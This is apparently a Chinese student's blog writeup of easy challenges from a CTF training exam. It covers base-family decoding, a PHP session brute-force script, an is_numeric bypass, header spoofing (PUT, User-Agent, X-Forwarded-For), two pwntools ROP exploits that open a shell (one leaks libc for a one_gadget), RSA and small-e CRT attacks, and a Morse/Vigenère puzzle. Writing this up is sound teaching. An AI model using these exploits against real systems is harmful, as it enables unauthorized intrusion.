ctf夏季集训结训赛-简单题writeup
阅读原文时间:2021年04月24日阅读:1

目录

第一篇博客!!开门大吉!
因为我本身也是菜鸡,做出来的题不多,而且都是很简单的题目,望各位看客谅解,题目所在的靶场应该过一阵子就拆了,就不贴题目地址啦,会尽量以图片和文字的形式进行复现。

Web

签到

皮虾乐队的贝斯手不见了

打开链接页是ubuntu pastebin

应该是动过手脚的,按F12打开源码看一下

发现了两串注释,
543557687D537D7B3372563D2A7E28566C7A405E564D6B565A54323F7534564D6C3068564D6C3061
543557687D537E474D71543341586F5354613F34563E34604B576D484F66573E47796F
再考虑到提示“皮虾乐队的贝斯手不见了”,应该用base家族解码
经过一番尝试后,第二段注释先后经过base16,base85,base64解码后,得到flag{very_e2sy_y2s}

速度要快

Ash是一名爆破专家,是一名突破手

打开链接直接得到源码

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
    $_SESSION['nums'] = 0;
    $_SESSION['time'] = time();
    $_SESSION['whoami'] = 'ezpass';
}

if($_SESSION['time']+5<time()){
    session_destroy();
}

$Ash = $_REQUEST['Ash'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($Ash[0].$Ash[1]) && substr(md5($Ash),5,4)==0){
    $_SESSION['nums']++;
    $_SESSION['whoami'] = $str_rands;
    echo $str_rands;
}

if($_SESSION['nums']>=20){
    echo $flag;
}

show_source(__FILE__);
?> 

这里我在做题的时候找到了原型,关键点解释已经很到位了,我就不复制粘贴了.
最后附上我的python代码

import requests

s = requests.session() # 创建一个session对象 。

url = "http://xiabee.cn:10001/?Ash[]=ezpass" # url
r = s.get(url)  # 获取url中以get方式上传的参数

for i in range(100):
    url_1 = "http://xiabee.cn:10001/?Ash[]=" + r.text[:2] # 获取头两个字母
    r = s.get(url_1)
    print(r.url)
    if i ==99: # 输出第100次爆出的内容
        print(r.text)

PHP真爱粉

PHP是世界上最好的语言(吗

打开链接获得源码如下

<?php
highlight_file(__FILE__);
include('flag.php');
if ($_GET['xiao'] > 99999999 && strlen($_GET['xiao']) < 5)
    echo "Well Done!".'<br>';

if (isset ( $_GET ['yu'] )) {
    $yu = $_GET ['yu'];
    if (is_numeric($yu))
        die('Wrong Input!');
    else{
        switch ($yu) {
            case 0 :break;  
            case 1 :break;
            case 2 :echo "$flag";break;
            default :echo "azhe?";break;
        }
    }
}
?> 

关键点在于is_numeric,这个函数的作用是 “如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。”也就是我们要绕过这个限制,经查阅资料得知,is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。

那么这道题就很简单了,/?yu=2%20即可,得到flag{p1h_1s_s0_ez}

头等舱

还记得10.0.0.55的备用地址是什么吗

打开链接后是这样
名字是头等舱,猜测和报头相关,使用burpsuite抓包
这里卡了好长时间,然后在大佬的提醒下开始注意Method这个提示,Wrong Method!,什么方式错了呢,联想到请求方式,经多次尝试,在PUT时收到反应如下
GG browser is so Great!,于是将User-Agent改为GG
得到提示要伪装成localhost,于是把referer改成127.0.0.1,又添加了X-Forwarded-For: 127.0.0.1,如下所示
本提示是 “还记得10.0.0.55的备用地址是什么吗”,其实是10.0.0.53,这个是校内生活小知识,各位看客不知道正常,参加结训赛的人应该都知道(大概,最后进行更改X-Forwarded-For: 10.0.0.53,send得flag

Pwn

到了最向往的pwn,虽然是最向往的方向,不过菜的只会做签到…

qiandao

无提示

普通的64位rop,只开启了NX保护,通过gets栈溢出,也给了sh函数(可直接获得shell)


直接上代码了

from pwn import *

io = remote("everything411.top" ,10014)

payload =b'a' * (0x100) + p64(0xdeadbeefdeadbeef) + p64(0x0000000000401263) + p64(0x0000000000402004) + p64(0x0000000000401156)
#                           rbp                             rdi_add               meow字符串                  sh函数
io.sendline(payload)

io.interactive()

io.close()

qiandao2

do you know one_gadget?

checksec检查

ida查看程序

仍然是gets溢出,不过sh函数不再能够getshell

废话少说,直接上代码

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

io = remote("everything411.top" ,10015)
elf = ELF('./qiandao2')
libc = ELF('./libc6_2.23-0ubuntu11.2_amd64.so') # 加载libc版本   在https://libc.blukat.me/ 查询并下载

execve = 0x45226       # one_gadget得到
puts_got = elf.got['puts'] 
puts_plt = elf.plt['puts'] 
main_add = 0x40115F

payload =b'a' * (0x108) + p64(0x0000000000401233) + p64(puts_got) + p64(puts_plt) + p64(main_add) # 泄露puts地址,用于查询libc库和计算offset
#            padding          rdi_add                 rdi_value        ret puts       main_add以便下次padding

io.sendline(payload)
puts_add = u64(io.recv()+b'\x00\x00') # 接收泄露出的地址

print('puts_address:' + hex(puts_add))

offset = puts_add - libc.symbols['puts'] #计算offset
execve_addr = offset + execve

payload2 = b'a' * (0x108) + p64(execve_addr) # padding + gadget

io.sendline(payload2)
io.interactive()

io.close()

题目提示让我们使用one_gadgetone_gadget是什么呢,简单来说就是可以找到获得shell的函数的地址,但是不能直接用,这个地址只是libc库中的,实际程序运行时会有产生偏移量offset,而我们可以通过泄露其他函数的地址并与libc库中对应函数地址相减来获得这个offset,最后只需要一个简单的payload2就完成啦

Crypoto

我做出来的这两个密码都是关于rsa的,知乎上有一个很棒的rsa解密学习指南,感兴趣的可以看一下
关于rsa的基本原理可以去看ctf wiki,这里就不说了

babyRSA

simple rsa
n =
2175688405733541703870452086626738401792220260185622845647
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448

hint:factordb.com is your good friend

正常rsa中我们看到n比较小,自然想到分解质因数
这道题的难点在于,将n分解后出来了三个数,和正常的rsa长得也不一样,让人无从下手,事实上,硬着头皮算就好了
正常rsa是 r = (p - 1) * (q - 1)
三个因数的话,就r = (p1 - 1) * (p2 - 1) * (p3 - 1)
代码如下:

#!/usr/bin/python
#coding:utf-8

import gmpy2
from Crypto.Util.number import long_to_bytes

N = 2175688405733541703870452086626738401792220260185622845647
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448
p1 = 12174597259764339563
p2 = 12211006709935453691
p3 = 14634929140319987959

r = (p1 - 1) * (p2 - 1) * (p3 - 1)
d = gmpy2.invert(e,r)
n = pow(c,d,N)

print (long_to_bytes(n))

Small e

这次分解不了了

给了我们两个文件,一个main.py一个out.txt

main.py

from flag import flag
from Crypto.Util import number
import os
assert type(flag) == str

flag_b = flag.encode() + os.urandom(128 - len(flag))
p = [number.getPrime(1024) for _ in range(3)]
q = [number.getPrime(1024) for _ in range(3)]
n = [_p * _q for _p, _q in zip(p, q)]

e = 3
m = number.bytes_to_long(flag_b)
for i in range(3):
    print("n{} = {}".format(i, n[i]))
    print("c{} = {}".format(i, pow(m, e, n[i])))

out.txt

n0 = 16067817932594307041570490664780805848472742222521209486359183294876659529608435557600537260250449433611595173684925374508467672404417859479495004093579610726032262914323802262015761804257474778421075371915604733039622965481151880946821099347099589181944483948769906556017986079391359211585782596464924468208449010284942962635113163737362978946256184113197172628780615797285233916435176242221439390878162794629364484926505774613228229646458189210171950867198879934364120504046273177961083687027937189811732509344365844834160229805810205081446686611488115226014344875552419979932806334691942178914927653481984541110621
c0 = 9879971463914625690975893241580185387981496369356734957012721513373144938753569045503323744985869516225432489622517950293366904764152664636972215860898639778481845669980292323448545868723176321988532040102362409575435129737188286227622375002577654117407187235639039788403421568330907783489740293783760374579674272228953702822209345735718037784007905107507640441789566148023418182843850856028272425280660185409774791229291736804113219546032069271224441643592470352853688723172019556711071350797050854277490132448056258928350601925843959503438270798312618141538795176843674864017991973083157087900179066637653967471786
n1 = 27220804436805864442162182442813759263069372128468811270228757759122242102746634331274204813645700606025198464757315069476396636457109385709010309093761124250367793217269514777894950749932026790104944920542415154470272710654996775902535083921322900858510081080526361203971974235685839596700898966986819478871421472486198215667112358892381840624555494963218129513959117765033488219148477371667129956523403726492811804971592929874287476692563269065787601147950636445646208059251015601569921025370871805357871922113088791024382926047840273911791193990034677955545643860434985638900984527560552087922124397003230357748287
c1 = 18601174471639330838673755997627097179717053665843260588739160926694895023115719989743218032177933064024790567417281962648968287556842258818888225805040849173826497707326525590383774570277339562504216146208571367319040674013938991326596042075188486353554578994481344994910413567203491400010042812019323116569805264327599429345975064505984904064402357370098622911816024581171930600566133580491190247014980742239289588062485016239992005485018607729737084787372336151888759198583123570341162243303928994460199822642294565067160393816192370390199699022295478284192467413238687379911409873590966380239175755869062503249758
n2 = 18003911632122599813425550392025295318460144538002420546091473342504066065913374478380723966510863927323450160422323963085439934919821408030000597030220444017446677275520530600602313223716913843706289020789546341254298514327568202682323289952838243830866298465249322960573348784191060837060844553425424656343221015762038900638842760791476620770787585512880263777811650363550291113188707834451876652168342500756621692207745249699478983220317963165032407100517970067554347460807373078643124640438035329791669756566825583763144347915561928759654089817337965531158175165510730703911869587267266225122572337924741504872421
c2 = 16232129131608810282413937706144487240626338624250308577834225698445782468881682329646696899789457330498386668165599055270602304521900866238477820450745745574235835329025428831975135564432471301944638869445512637388111199953848153394755434332731325017811903037131194504517921570433491911858368670794242170207150194844396867824699460595352243616284981999437646934978307049377044110514736105768616893202608779347282837560546402961227548577594166063494153158225233408919063945070416486278018607780042733335959208255707942063870095648981102997015240784176457028384300754675188591655968245197618705494443537255712721037015

我们来翻译一下,我们现在有n0, c0, n1, c1 n2, c2,且

m e ≡ c 0 ( m o d   n 0 ) m^e \equiv c_0 ( mod \ n_0 ) me≡c0​(mod n0​)

m e ≡ c 1 ( m o d   n 1 ) m^e \equiv c_1 ( mod \ n_1 ) me≡c1​(mod n1​)

m e ≡ c 2 ( m o d   n 2 ) m^e \equiv c_2 ( mod \ n_2 ) me≡c2​(mod n2​)

眼熟吗,对的,是中国剩余定理,按照定义去计算即可算出 m e m^e me

开三次根号即可算出m

代码如下:

import gmpy2
from Crypto.Util import number

n0 = 16067817932594307041570490664780805848472742222521209486359183294876659529608435557600537260250449433611595173684925374508467672404417859479495004093579610726032262914323802262015761804257474778421075371915604733039622965481151880946821099347099589181944483948769906556017986079391359211585782596464924468208449010284942962635113163737362978946256184113197172628780615797285233916435176242221439390878162794629364484926505774613228229646458189210171950867198879934364120504046273177961083687027937189811732509344365844834160229805810205081446686611488115226014344875552419979932806334691942178914927653481984541110621
c0 = 9879971463914625690975893241580185387981496369356734957012721513373144938753569045503323744985869516225432489622517950293366904764152664636972215860898639778481845669980292323448545868723176321988532040102362409575435129737188286227622375002577654117407187235639039788403421568330907783489740293783760374579674272228953702822209345735718037784007905107507640441789566148023418182843850856028272425280660185409774791229291736804113219546032069271224441643592470352853688723172019556711071350797050854277490132448056258928350601925843959503438270798312618141538795176843674864017991973083157087900179066637653967471786
n1 = 27220804436805864442162182442813759263069372128468811270228757759122242102746634331274204813645700606025198464757315069476396636457109385709010309093761124250367793217269514777894950749932026790104944920542415154470272710654996775902535083921322900858510081080526361203971974235685839596700898966986819478871421472486198215667112358892381840624555494963218129513959117765033488219148477371667129956523403726492811804971592929874287476692563269065787601147950636445646208059251015601569921025370871805357871922113088791024382926047840273911791193990034677955545643860434985638900984527560552087922124397003230357748287
c1 = 18601174471639330838673755997627097179717053665843260588739160926694895023115719989743218032177933064024790567417281962648968287556842258818888225805040849173826497707326525590383774570277339562504216146208571367319040674013938991326596042075188486353554578994481344994910413567203491400010042812019323116569805264327599429345975064505984904064402357370098622911816024581171930600566133580491190247014980742239289588062485016239992005485018607729737084787372336151888759198583123570341162243303928994460199822642294565067160393816192370390199699022295478284192467413238687379911409873590966380239175755869062503249758
n2 = 18003911632122599813425550392025295318460144538002420546091473342504066065913374478380723966510863927323450160422323963085439934919821408030000597030220444017446677275520530600602313223716913843706289020789546341254298514327568202682323289952838243830866298465249322960573348784191060837060844553425424656343221015762038900638842760791476620770787585512880263777811650363550291113188707834451876652168342500756621692207745249699478983220317963165032407100517970067554347460807373078643124640438035329791669756566825583763144347915561928759654089817337965531158175165510730703911869587267266225122572337924741504872421
c2 = 16232129131608810282413937706144487240626338624250308577834225698445782468881682329646696899789457330498386668165599055270602304521900866238477820450745745574235835329025428831975135564432471301944638869445512637388111199953848153394755434332731325017811903037131194504517921570433491911858368670794242170207150194844396867824699460595352243616284981999437646934978307049377044110514736105768616893202608779347282837560546402961227548577594166063494153158225233408919063945070416486278018607780042733335959208255707942063870095648981102997015240784176457028384300754675188591655968245197618705494443537255712721037015
e = 3

N = n1 * n2 * n0
N1 = N // n1
N2 = N // n2
N0 = N // n0
ny0 =gmpy2.invert(N0,n0)
ny1 =gmpy2.invert(N1,n1)
ny2 =gmpy2.invert(N2,n2)

m_e = (c0*N0*ny0+c1*N1*ny1+c2*N2*ny2)%N
m = gmpy2.iroot(m_e,e)

print(m) 

Misc

Misc一共两道,阿菜只做出了一道

玩玩音频

下载附件:ハセガワダイスケ 菅野祐悟 - 杜王町Radio.wav hint:这么简单的题目,没有提示
flag格式:flag{XXX_XXX},词汇之间使用下划线分割,全部字母大写。遇到不认识的词汇就当成是一个好了。

文件放到了网盘
链接:https://pan.baidu.com/s/1xJh8lNJyGILp4NGO_FAsNg
提取码:gh0k

使用Audacity打开,试听一下

在19.9秒之后可以听见明显的摩尔斯密码的声音,放大观察波形图
得到
-. .-- .— --… -.-- …- -… -… … -.-. --. .-. --.- -… - --.- -…- . -.-. .-. -.- --. -.-- — - --. … .-… …-. --. -.-. .-… … .-- … -.-- - … …- -… -. – -…- .-… - .-- …- --… .— -.-. --.- .- – .-- …- --. --.- .-- .-- .-. …- .-… -.-- …- .–. …- …- – -…- --… …- --… . -… --. .-… -…
解码得到

NWJZYVDDSCGRQDTQXECRKGYOTGILFGCLHWIYTHVDNMXLTWUZJCQAMWVGQWWRVLYVPVUMXZVZEBGLB

凯撒密码移位也得不出可读信息,于是重新回到音频文件,观察频谱图,得到KILLER QUEEN
最后用维吉尼亚密码,解得flag

Reverse

reverse的题学长是出了的,奈何自己太菜,所以只能就放个标题了